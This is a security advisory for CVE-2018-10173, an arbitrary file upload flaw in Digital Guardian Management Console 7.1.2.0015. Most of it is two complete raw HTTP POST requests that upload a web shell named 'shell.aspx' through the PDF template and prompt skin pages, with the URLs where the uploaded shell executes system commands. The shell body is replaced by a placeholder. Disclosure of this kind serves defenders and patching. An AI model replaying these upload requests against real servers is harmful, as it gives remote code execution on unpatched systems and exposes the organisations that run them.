Digital Guardian Management Console 7.1.2.0015 Shell Upload

`Title: Digital Guardian Managment Console - Arbitrary File Upload Leading To Remote Code Execution (RCE) Vulnerability  
Author: Pawel Gocyla  
Date: 18 April 2018  
CVE: CVE-2018-10173  
  
  
Affected software:  
==================  
Digital Guardian Managment Console Version 7.1.2.0015   
  
Description:  
============  
Digital Guardian is an American data loss prevention software company which provides software both at the end-user level and in corporate networks, servers, databases, and the cloud. Digital Guardian is designed to see and stop malicious actions by users and malware on endpoints. It puts data events into context and applies a granular set of rules to protect it against threats.  
  
The company holds 20 patents for its technology.Its customers include about 300 Global 2000 companies, as well as seven of the 10 largest brands in the world. It is considered to be a leader in the global data loss prevention market.   
  
Vulnerability:  
**************  
Arbitrary File Upload occurs when an application allows for file uploading and does not properly check user's input. This way an attacker can upload any file and take advantage of it by reading application source code, defacing website or executing system commands on underling operating system.  
  
  
Arbitrary File Upload:  
======================  
  
1).  
  
Vulnerable parameter: "filename"  
  
Request to upload malicious code:   
  
POST /DigitalGuardian/Management/ServerSettingsPDFTemplates.aspx HTTP/1.1  
Accept: text/html, application/xhtml+xml, */*  
Referer: http://[host]/DigitalGuardian/Management/ServerSettingsPDFTemplates.aspx  
Accept-Language: en-GB  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
Content-Type: multipart/form-data; boundary=---------------------------7e030201090ea4  
Accept-Encoding: gzip, deflate  
Host: [host]  
Content-Length: 1247  
Pragma: no-cache  
Cookie: ASP.NET_SessionId=jksed11b5nquipeag3421vga; DGAuthToken=a24e5397-f562-4141-a9bc-14bc83a43e6e; MRUDomain=00000000-0000-0000-0000-000000000002; .DGMCASPXAUTH=4C22880F00715AE00D61761AE4EC2090041F9659BF6980DAC5D496F499E1D1F626764AD3AEE7ED380D7F3EEEC3E140B01FC069913B5189C1794BA4A28883D300A25228AE458C1D5C8F77221FDC84B86E443189B3AFA25AC0D1BA54BD39D92F3D8627ED536A5ABC1E1BAC680543A9114E8ABF173B5E4D47343FC277E6D59DF34FD9520B2F2EBC9FCC176C432435DA387D2FAC7C4432E4D319E068BFE8CC7CBA9EEF9F06C6A84CB00C695C8CA37FBB3D234BD1022750EDBAAF1AEF1A1FCAA84B57D61AD89410D1C49B5ABB9AD4700E1DBDCAA4C10AF0F9A96F52243EBEB5625FF22EF67EB5F59FA14D5E4E01F680490B8D6374E81F1E93EAD11FA68C5F39DAB49F7A6E906274457F2584B83B1ACF5294A3A761F720B9004E893AA9D2ECAF33146494CC27CBD404E37ECE4B314D99D1F7045C102093B3FB28495B41FB57AC43BCF8A5B732CC834B85041C20A2DC9A4330DCD5559BABA13EB45611F56D28DEDFA7C1EC8E6149A2E91704E35DFBAA7A0F540D0D9BB64F703CF622EEEB3FEBDBBE91E04E270126A892533BF1753BAF86B610FE38C2ADC1322CC60C8B6A8AEB9A3EFB84D6075C906BB726CC19587F1255F929ADB833A7C9E10031AEC9F745F135D7FF8DE22B648A5D02C6710F41B04004EA3D1A52D70D8D98365D7B009E285EA176D21BC90E6703D9761D661848370FDD03B4C5D0ACC75B60E2217E142807EF156A9A01  
Connection: close  
  
-----------------------------7e030201090ea4  
Content-Disposition: form-data; name="__EVENTTARGET"  
  
  
-----------------------------7e030201090ea4  
Content-Disposition: form-data; name="__EVENTARGUMENT"  
  
  
-----------------------------7e030201090ea4  
Content-Disposition: form-data; name="__VIEWSTATE"  
  
/wEPDwUKLTg1OTI3ODgyMQ9kFgRmD2QWAgIFDxUCCkNvbnRlbnREaXYIVGl0bGVEaXZkAgEPFgIeDGF1dG9jb21wbGV0ZQUDb2ZmFgICAw9kFgICDQ8PFgIeB1Zpc2libGVoZGRkiUrnvCnqq4KkB3GBwvkfB0YkaZYat00hQx6GFuUUjD4=  
-----------------------------7e030201090ea4  
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"  
  
B43AFC25  
-----------------------------7e030201090ea4  
Content-Disposition: form-data; name="inputFilePath"; filename="shell.aspx"  
Content-Type: image/x-png  
  
[asp shell code]  
-----------------------------7e030201090ea4  
Content-Disposition: form-data; name="btnImport"  
  
Import Image  
-----------------------------7e030201090ea4--  
  
  
  
URL to execute system commands:   
  
http://[host]/DigitalGuardian/resources/images/pdf/shell.aspx  
  
  
2).  
  
Vulnerable parameter: "filename"  
  
Request to upload malicious code:   
  
POST /DigitalGuardian/Policies/PromptSkin.aspx?ConfigType=2&skinId=26cbb147-3956-4c58-b11e-360fc9dbc6a2 HTTP/1.1  
Accept: text/html, application/xhtml+xml, */*  
Referer: http://[host]/DigitalGuardian/Policies/PromptSkin.aspx?ConfigType=2&skinId=26cbb147-3956-4c58-b11e-360fc9dbc6a2  
Accept-Language: en-GB  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
Content-Type: multipart/form-data; boundary=---------------------------7e0127125a1bd0  
Accept-Encoding: gzip, deflate  
Host: [host]  
Content-Length: 13275  
Pragma: no-cache  
Cookie: MRUDomain=00000000-0000-0000-0000-000000000002; ASP.NET_SessionId=ohi1m4lrljgcmkkazyst30lp; DGAuthToken=7f2fb432-4752-4c67-9201-d7d7a7026d26; .DGMCASPXAUTH=034026F59EE29438124E8DFDEB792408137961C2D3421F30801EBD551D57B0B4FF1525582742947494F8032987BC895521343BF5D5F04782F6951F23EFD6450059931E461BA6630A33C41B3E3B309421DD63E13733444A68E89C5DA67D7AFEC1FD6915168F2D21D56717D4258F4B188BE5412564C9FE4B37641C9483E30549ADFCD5867206A015BE2B0E9DD3C38C49E70B749280925E552A49C0C5BF6B1849BE5C035A96C2C2BE3174BDD7B5CB6183341E39CD6D208E66D8BD6AA9440E03DA4DC56095A7D4F6D2D71831033D2620B19C4C9CC0255DB198A4E2B555008BA0045C078BFC5C5582F9684D1B36314E8F046A17F2B9F90DEFA66E6E6077434B837A09AFB86C0A9B08ADB09DFA061C38EE8C8C88BB0FF93AEBA2939DA4333785B3E5D88CDF258CC0ED6D596A486B0EB6579A4D7D4BF669123110CA2D877E1D993D080C800A0AF6B3EFD147B7DB38C956C281EEAD6C8FD83819C05518069C30D9768398E915B98B8944BE1E56382DE63DF3C13CC0AFE5F157D353F5442F4E86541EB5D4262BFBDA180B1EDFA272A07633CA8EFDB6DDF2476802B69ADB016FAA086570B54C60E6462A73C5AC5729EB6A24DAE137E99843C4432E5ED9FCA90A54AF59A8DDCEE9855BAE5AEF95CDAA2C1ED949E798C50510A95D8719E6BE348575AC4893870828883E4AB23F434DF982B972AA4468BF39AE15BE98DBA1C9ECA00E8B94D1AD  
Connection: close  
  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="__EVENTTARGET"  
  
  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="__EVENTARGUMENT"  
  
  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="__LASTFOCUS"  
  
  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="__VIEWSTATE"  
  
/wEPDwUJNzkwOTIwNTQ3D2QWBGYPZBYCAgcPFQIKQ29udGVudERpdg5HcmlkRG9ja1N1YkRpdmQCAQ8WBB4MYXV0b2NvbXBsZXRlBQNvZmYeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGEWBAIBD2QWAgIBDw8WAh4EVGV4dAUaUHJvbXB0IFNraW4gLSBEZWZhdWx0IFNraW5kZAIDD2QWKAIHDw8WCB4GX1dpZHRoGwAAAAAAIGxAAQAAAB4FX1RleHQFDERlZmF1bHQgU2tpbh4JX1JlYWRPbmx5aB4HX0hlaWdodBxkFgRmD2QWAgIBDw8WCh4FV2lkdGgbAAAAAAAgbEABAAAAHwIFDERlZmF1bHQgU2tpbh4GSGVpZ2h0HB4ETW9kZQsqJVN5c3RlbS5XZWIuVUkuV2ViQ29udHJvbHMuVGV4dEJveE1vZGUAHgRfIVNCAoADZGQCAg9kFgICAQ8PFgIfAgUMRGVmYXVsdCBTa2luZGQCCQ9kFgICAQ8PFgIeB1Zpc2libGVoZGQCDQ8QDxYCHgtfIURhdGFCb3VuZGcWAh4Ib25jaGFuZ2UFEmJOYXZpZ2F0aW5nPWZhbHNlOw8WAmYCARYCEAUGUGl4ZWxzBQEwZxAFEVBlcmNlbnQgb2YgU2NyZWVuBQExZxYBZmQCDw8PFgQfAgUGUGl4ZWxzHwtoZGQCEw9kFgJmDw9kFgIeBXN0eWxlBRhmbG9hdDpsZWZ0O21hcmdpbi10b3A6MDsWDgIBDw8WCh8CBQM1NTAeCU1heExlbmd0aAIEHwcbAAAAAAAATkABAAAAHhBDYXVzZXNWYWxpZGF0aW9uZx8KAoACZGQCAw8WAh4Hb25jbGljawVLYk5hdmlnYXRpbmc9ZmFsc2U7X0luY3JlbWVudFNwaW4oMSwndHh0V2lkdGhQaXhlbF9TcGluVGV4dEJveCcsMTAsMTUwLDIwMDApZAIFDxYCHxEFTGJOYXZpZ2F0aW5nPWZhbHNlO19JbmNyZW1lbnRTcGluKC0xLCd0eHRXaWR0aFBpeGVsX1NwaW5UZXh0Qm94JywxMCwxNTAsMjAwMClkAgcPDxYCHwtnZBYCAgEPDxYCHwIFCHBpeGVsKHMpZGQCCQ9kFgICAQ8QDxYCHwxnZGQWAGQCCw8PFgIfC2dkFgQCAQ8PFgIeB0Rpc3Bs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bzt3aWR0aDoyMjVweDtoZWlnaHQ6NTBweDsWAgIBDw8WAh8CBQxEZWZhdWx0IFNraW5kZAIlDw8WAh8LaGQWBAIDDxAPFgIfDGdkEBUBEERlZmF1bHQgKFRpZXIgMCkVASQwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDEUKwMBZxYBZmQCBQ8PFgQfAgUQRGVmYXVsdCAoVGllciAwKR8LaGRkAikPDxYIHghDc3NDbGFzcwUIZ3JpZFRleHQfAgWVCTxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KCTx0aXRsZT48L3RpdGxlPg0KCTxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sO2NoYXJzZXQ9VVRGLTgiIC8+DQoJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCgkJYm9keXsNCgkJCXBhZGRpbmc6IDAgMTBweDsNCgkJCW1hcmdpbjogMDsNCgkJCW92ZXJmbG93OiBoaWRkZW47DQoJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMWUzNTRCOw0KCQl9DQoJCS5tZXNzYWdlew0KCQkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQkJdmVydGljYWwtYWxpZ246IG1pZGRsZTsNCgkJCWhlaWdodDogMTAwJTsNCgkJCXdpZHRoOiAxMDAlOw0KCQkJY29sb3I6ICMxZTM1NEI7DQoJCQlmb250LWZhbWlseTogVWJ1bnR1LEhlbHZldGljYSxzYW5zLXNlcmlmOw0KCQkJZm9udC1zaXplOiAxNnB4Ow0KCQkJZm9udC13ZWlnaHQ6IGJvbGQ7DQoJCX0NCgk8L3N0eWxlPg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCgk8IS0tDQoJCS8vIERpc2FibGUgcmlnaHQtY2xpY2sgbWVudS4NCgkJZG9jdW1lbnQub25jb250ZXh0bWVudSA9IGZ1bmN0aW9uICgpIHsNCgkJCXJldHVybiBmYWxzZTsNCgkJfTsNCgkvLy0tPg0KCTwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQoJPGRpdj4NCgkJPGltZyBzcmM9ImFnZW50cy1ibHVlLnBuZyIgYm9yZGVyPSIwIiBhbHQ9IiIgLz4NCgk8L2Rpdj4NCgk8ZGl2IHN0eWxlPSJwYWRkaW5nLXRvcDoxMHB4OyI+DQoJCTxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDttYXJnaW46MCAxMHB4O3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQtY29sb3I6I0YxRjNGNDsiPg0KCQkJPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIj4NCgkJCQk8dHI+DQoJCQkJCTx0ZCBjbGFzcz0ibWVzc2FnZSI+DQoJCQkJCQk8TUVTU0FHRS8+DQoJCQkJCTwvdGQ+DQoJCQkJPC90cj4NCgkJCTwvdGFibGU+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KCTxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO2JvdHRvbToxMHB4O3JpZ2h0OjIwcHg7Ij4NCgkJPGltZyBzcmM9ImRnLWxvZ28ucG5nIiBib3JkZXI9IjAiIGFsdD0iIiAvPg0KCTwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPh4IUmVhZE9ubHloHwoCAmRkAjEPDxYCHwtoZGQCMw9kFgQCAw8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCBQ9kFgICAQ8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCNQ88KwALAgAPFggeCVBhZ2VDb3VudAIBHghEYXRhS2V5cxYIBSQyNkNCQjE0Ny0zOTU2LTRDNTgtQjExRS0zNjBGQzlEQkM2QTIFJDI2Q0JCMTQ3LTM5NTYtNEM1OC1CMTFFLTM2MEZDOURCQzZBMgUkMjZDQkIxNDctMzk1Ni00QzU4LUIxMUUtMzYwRkM5REJDNkEyBSQyNkNCQjE0Ny0zOTU2LTRDNTgtQjExRS0zNjBGQzlEQkM2QTIFJDI2Q0JCMTQ3LTM5NTYtNEM1OC1CMTFFLTM2MEZDOURCQzZBMgUkMjZDQkIxNDctMzk1Ni00QzU4LUIxMUUtMzYwRkM5REJDNkEyBSQyNkNCQjE0Ny0zOTU2LTRDNTgtQjExRS0zNjBGQzlEQkM2QTIFJDI2Q0JCMTQ3LTM5NTYtNEM1OC1CMTFFLTM2MEZDOURCQzZBMh4LXyFJdGVtQ291bnQCCB4VXyFEYXRhU291cmNlSXRlbUNvdW50AghkARQrAAM8KwAEAQAWAh8LZ2RkFgJmD2QWEAIBD2QWBAIBDw8WAh8CBSQ0QzM0OUYxQy01MzE2LTRCREUtQTA3MS01QjdBQ0JEQUFGNDJkZAICD2QWAgIBDw8WAh8CBQ9hZ2VudHMtYmx1ZS5wbmdkZAICD2QWBAIBDw8WAh8CBSRCODU4OTE0OS01RDQ4LTQ3NDYtOTdFNS05MTUzOTAwRkIzQzFkZAICD2QWAgIBDw8WAh8CBQtkZy1sb2dvLnBuZ2RkAgMPZBYEAgEPDxYCHwIFJDA4MzRFQTA0LThGNzItNDFDMS04RUE4LUFFOEQzMDAzQTM5QWRkAgIPZBYCAgEPDxYCHwIFCElORzIucG5nZGQCBA9kFgQCAQ8PFgIfAgUkQjQwRjQ0RDMtMUFBQi00OTM4LThBQjQtMDcyQUU2QTQ2QkY3ZGQCAg9kFgICAQ8PFgIfAgUJaW5uZXIucG5nZGQCBQ9kFgQCAQ8PFgIfAgUkMUFBRDNDMzItNzc3Ni00NTc2LUJBQzMtQkNDMjYxODQzNUNEZGQCAg9kFgICAQ8PFgIfAgUJb3V0ZXIucG5nZGQCBg9kFgQCAQ8PFgIfAgUkQTQ0QUMxOUEtNDRFQy00MzQ3LUE2MzMtNTQ1ODdGNkRCNEQxZGQCAg9kFgICAQ8PFgIfAgUQcHJvbXB0aGVhZGVyLnBuZ2RkAgcPZBYEAgEPDxYCHwIFJDQwQzNGQzBDLTI0QjYtNDA4Ni05OUEwLUEwMjBDM0E2MTYwNmRkAgIPZBYCAgEPDxYCHwIFCXRlc3QyLmpwZ2RkAggPZBYEAgEPDxYCHwIFJDAxMTQxQjg1LUM3RTktNDk5Ri1BMkU4LTcyMEI5OEUzMDhFNGRkAgIPZBYCAgEPDxYCHwIFDHZlcmRhc3lzLnBuZ2RkAjcPDxYCHwtoZGQCOQ9kFgQCAQ8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCAw8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCOw8PFgIfC2hkFgICAw8PZBYCHxEF7wJ3aW5kb3cudG9wLkhpZGVNZXNzYWdlUGFuZWwoKTtyZXR1cm4gd2luZG93LnRvcC5T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FgICAQ8PFgIfAgUEV2FybmRkAgIPZBYCAgEPDxYCHwIFOlVzZXIgaXMgcHJlc2VudGVkIHdpdGggYSBwcm9tcHQgYW5kIHRoZSBhY3Rpb24gaXMgYWxsb3dlZC5kZAIDD2QWAgIBDw8WAh8LaGRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYIBSREYXRhR3JpZFNraW5GaWxlczpfY3RsMjpjYlJlbW92ZUZpbGUFJERhdGFHcmlkU2tpbkZpbGVzOl9jdGwzOmNiUmVtb3ZlRmlsZQUkRGF0YUdyaWRTa2luRmlsZXM6X2N0bDQ6Y2JSZW1vdmVGaWxlBSREYXRhR3JpZFNraW5GaWxlczpfY3RsNTpjYlJlbW92ZUZpbGUFJERhdGFHcmlkU2tpbkZpbGVzOl9jdGw2OmNiUmVtb3ZlRmlsZQUkRGF0YUdyaWRTa2luRmlsZXM6X2N0bDc6Y2JSZW1vdmVGaWxlBSREYXRhR3JpZFNraW5GaWxlczpfY3RsODpjYlJlbW92ZUZpbGUFJERhdGFHcmlkU2tpbkZpbGVzOl9jdGw5OmNiUmVtb3ZlRmlsZTIPEztGSjY/B4I5SuEOaPlHs5UU8xJA0iF9kxxkB/vV  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"  
  
F29601FE  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="txtSkinName:TextBox"  
  
Default Skin  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="ddlDimensionUnits"  
  
0  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="txtWidthPixel:SpinTextBox"  
  
550  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="txtHeightPixel:SpinTextBox"  
  
280  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="txtDescription:TextBox"  
  
Default Skin  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="txtHTML"  
  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<title></title>  
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />  
<style type="text/css">  
body{  
padding: 0 10px;  
margin: 0;  
overflow: hidden;  
background-color: #1e354B;  
}  
.message{  
text-align: center;  
vertical-align: middle;  
height: 100%;  
width: 100%;  
color: #1e354B;  
font-family: Ubuntu,Helvetica,sans-serif;  
font-size: 16px;  
font-weight: bold;  
}  
</style>  
<script type="text/javascript">  
<!--  
// Disable right-click menu.  
document.oncontextmenu = function () {  
return false;  
};  
//-->  
</script>  
</head>  
<body>  
<div>  
<img src="agents-blue.png" border="0" alt="" />  
</div>  
<div style="padding-top:10px;">  
<div style="padding:10px;margin:0 10px;text-align:center;background-color:#F1F3F4;">  
<table cellspacing="0" cellpadding="0" border="0" align="center">  
<tr>  
<td class="message">  
<MESSAGE/>  
</td>  
</tr>  
</table>  
</div>  
</div>  
<div style="position:absolute;bottom:10px;right:20px;">  
<img src="dg-logo.png" border="0" alt="" />  
</div>  
</body>  
</html>  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="skinFile"; filename="shell.aspx"  
Content-Type: application/octet-stream  
  
[asp shell code]  
  
  
-----------------------------7e0127125a1bd0  
Content-Disposition: form-data; name="btnAddFile"  
  
  
-----------------------------7e0127125a1bd0--  
  
  
  
URL to execute system commands:   
  
http://[host]/DigitalGuardian/resources/images/SkinFiles/shell.aspx  
  
  
Contact:  
========  
pawellgocyla[at]gmail[dot]com  
  
  
  
  
`